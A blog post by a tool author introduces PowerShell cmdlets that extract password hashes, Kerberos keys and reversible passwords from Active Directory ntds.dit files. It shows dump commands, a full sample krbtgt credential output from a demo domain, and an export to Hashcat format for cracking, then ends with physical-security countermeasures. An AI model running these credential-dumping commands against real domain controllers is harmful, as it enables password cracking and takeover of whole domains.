Dumping the contents of ntds.dit files using PowerShell
Although there exist several tools for dumping password hashes from the Active Directory database files, including the open-source NTDSXtract from Csaba Bárta whose great research started it all, they have these limitations:
- They do not support the built-in indices, so searching for a single object is slow when dealing with large databases.
- Most of the tools are either Linux-only or running them on Windows is not simple enough.
- Almost none of these tools can modify the database. And if they do, they do not support transaction logs and are quite cumbersome.
Therefore, I have decided to create my own set of PowerShell cmdlets that wouldn’t have these shortcomings. In the process, I have unintentionally created my own framework that is built on top of Microsoft’s ManagedEsent library and hides the complexity of the underlying database. I am planning to release it at GitHub later this year.
One of the cmdlets I have created is Get-ADDBAccount, which can be used to extract password hashes, Kerberos keys and even reversibly encrypted passwords from ntds.dit files. Here is an example of its usage:
# First, we fetch the so-called Boot Key (aka SysKey) # that is used to encrypt sensitive data in AD: $key = Get-BootKey -SystemHivePath 'C:\IFM\registry\SYSTEM' # We then load the DB and decrypt password hashes of all accounts: Get-ADDBAccount -All -DBPath 'C:\IFM\Active Directory\ntds.dit' -BootKey $key # We can also get a single account by specifying its distinguishedName, # objectGuid, objectSid or sAMAccountName atribute: Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=Adatum,DC=com' ` -DBPath 'C:\IFM\Active Directory\ntds.dit' -BootKey $key
The output is identical to what the Get-ADReplAccount cmdlet would return:
DistinguishedName: CN=krbtgt,CN=Users,DC=Adatum,DC=com Sid: S-1-5-21-3180365339-800773672-3767752645-502 Guid: f58947a0-094b-4ae0-9c6a-a435c7d8eddb SamAccountName: krbtgt SamAccountType: User UserPrincipalName: PrimaryGroupId: 513 SidHistory: Enabled: False Deleted: False LastLogon: DisplayName: GivenName: Surname: Description: Key Distribution Center Service Account NTHash: 9b17bcfc3800df21baa6b8a4aeedb4fd LMHash: NTHashHistory: Hash 01: 9b17bcfc3800df21baa6b8a4aeedb4fd Hash 02: c9467e5fae14820500862d85c53747c1 LMHashHistory: Hash 01: 1a1d073fde1fca32c24f268fce835de2 Hash 02: cc8019ecf6fdbcbe06849a9980804e8d SupplementalCredentials: ClearText: Kerberos: Credentials: DES_CBC_MD5 Key: cddf7308d6cd5d2a OldCredentials: DES_CBC_MD5 Key: cddf7308d6cd5d2a Salt: ADATUM.COMkrbtgt Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 Key: 69b11bfec0eec2b278702bc7d9fbfda23e3789128b92c59955e69932a457533b Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: bcfcc7a65379d7914c2c341a74ca0e0e Iterations: 4096 DES_CBC_MD5 Key: cddf7308d6cd5d2a Iterations: 4096 OldCredentials: AES256_CTS_HMAC_SHA1_96 Key: 809b0f1697dffe39bb87b2e3d79564dc8ef91b91bad2fc51abc444e42c7e88d9 Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: c30fb9e17cd7503f980592a6864c8daa Iterations: 4096 DES_CBC_MD5 Key: cddf7308d6cd5d2a Iterations: 4096 OlderCredentials: ServiceCredentials: Salt: ADATUM.COMkrbtgt DefaultIterationCount: 4096 Flags: 0 WDigest: Hash 01: eee4408f94b35bb5dc7077747d9762a3 Hash 02: 00be705a97c4a1ded7f7fc912ef70aec Hash 03: 7b0b14e8f5cfa2de25d04d393c649bb7 Hash 04: eee4408f94b35bb5dc7077747d9762a3 Hash 05: 00be705a97c4a1ded7f7fc912ef70aec Hash 06: cf102efea5397a51edc9202b922682e5 Hash 07: eee4408f94b35bb5dc7077747d9762a3 Hash 08: 5737a1de1f94d3f6e0dbbe4e3f173036 Hash 09: 9314bbcd0f0f8ab2d3879287e739f621 Hash 10: 973ff6673784ce0faa956d10952b0be0 Hash 11: b04c5754a36b8edaac0dfd3c8b741d1a Hash 12: 9314bbcd0f0f8ab2d3879287e739f621 Hash 13: decbd6b05ac2363ef7c772b42339fdab Hash 14: b04c5754a36b8edaac0dfd3c8b741d1a Hash 15: 71e248eae58d2f1f4b40baf412fde251 Hash 16: 8f03fa2cf1cdbb300d0e0992fb5265e1 Hash 17: 5032b686f9b0187115c5b56a4de89d1e Hash 18: eb804e4333521ee5e74241db4ecd7e5e Hash 19: c86f4816e80f0a590cb03f0b9aa8c04c Hash 20: 0e03a76194c6385754a1814384c99798 Hash 21: db13be8eb45adad0984e5a68ea2dfe23 Hash 22: db13be8eb45adad0984e5a68ea2dfe23 Hash 23: 5b6bba9bae24a347108ad7267e1ac287 Hash 24: e72cad8b0fc837d3e8de4ddc725eb81f Hash 25: c19dd7b576c43eec07ba475bd444f579 Hash 26: 021c07151ece2de494402cf11f62a036 Hash 27: d657b31bfcacb37443630759cc3a19bf Hash 28: 5d49708350e04b16ddc980a0c33c409b Hash 29: efe601100b7b4007fe3fa778499d5dda
I have also created several Views that generate output for the most popular password crackers, including Hashcat, John the Ripper and Ophcrack:
# Dump NT hashes in the format understood by Hashcat: Get-ADDBAccount -All -DBPath 'C:\IFM\Active Directory\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt -Encoding ASCII # Other supported views are HashcatLM, JohnNT, JohnLM and Ophcrack.
But with the Golden Ticket or Pass-the-Hash functionality of mimikatz, an attacker could seize control of the entire Active Directory forest even without cracking those password hashes.
As a countermeasure, it is crucial for companies to secure physical access to domain controllers, their backups and their VHD/VHDX/VMDK images in case of virtualized DCs. Turning on BitLocker is not a bad idea either. I really look forward to the new security features planned for Windows Server 2016, including Shielded VMs and Virtual TPMs.